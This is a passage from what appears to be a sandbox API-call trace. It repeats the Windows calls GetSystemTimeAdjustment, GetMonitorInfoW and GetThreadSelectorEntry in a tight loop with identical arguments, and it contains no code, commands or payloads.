lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.163] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.163] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.163] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.164] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.164] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.164] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.165] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.165] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.165] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.166] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.166] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.166] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 